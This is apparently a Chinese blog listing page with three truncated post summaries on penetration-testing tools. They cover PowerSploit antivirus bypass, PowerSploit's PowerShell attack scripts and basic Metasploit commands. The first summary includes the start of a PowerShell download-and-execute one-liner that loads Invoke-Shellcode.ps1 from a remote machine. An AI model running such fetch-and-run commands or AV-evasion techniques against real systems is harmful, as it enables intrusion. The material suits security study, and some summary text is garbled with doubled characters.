摘要：
一、AntivirusBypass(绕过杀毒) Find-AVSignature 发现杀软的签名 1、先在靶机(windows 2008)上远程加载位于win7的Invoke-Shellcode.ps1脚本 iex(New-Object Net.WebClient).DownloadString(" 阅读全文
摘要：
一、PowerSploit简介 PowerSploit是GitHub上面的一个安全项目，上面有很多powershell攻击脚本，它们主要被用来渗透中的信息侦察、权限提升、权限维持。 Powershell的优点: 1.代码运行在内存中可以不去接触磁盘 2.从另一个系统中下载代码并执行 3.很多安全产品 阅读全文
摘要：
Back参数 Back参数主要⽤用于返回。⽐比如你进⼊入了了某⼀一个漏漏洞洞模块的设置，但是你想再重新选择一个漏漏洞洞模块，那么就需要⽤用到back参数。 这张图说明，才开始我使用了ms08_067_netapi的利用模块，之后使⽤了back参数返回。 Banner参数 这个主要是查看metaspl 阅读全文